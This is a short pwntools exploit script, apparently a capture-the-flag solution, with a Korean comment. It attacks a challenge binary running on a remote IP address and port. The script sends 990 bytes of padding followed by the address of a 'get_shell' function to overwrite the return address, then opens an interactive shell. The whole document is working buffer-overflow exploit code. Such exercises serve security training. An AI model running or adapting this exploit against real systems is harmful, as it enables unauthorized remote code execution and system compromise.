from pwn import *

p = remote('44.210.9.208', 10013)
#p = process('./challenge')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

binary = ELF('./challenge')

get_shell_addr = binary.symbols['get_shell']
padding = b'A'*990

payload = padding + p64(get_shell_addr)

p.sendlineafter('>', '1')
p.sendlineafter(': ', payload)

p.sendline(str(4))

p.interactive()

BOF 일으켜서 Ret Overwrite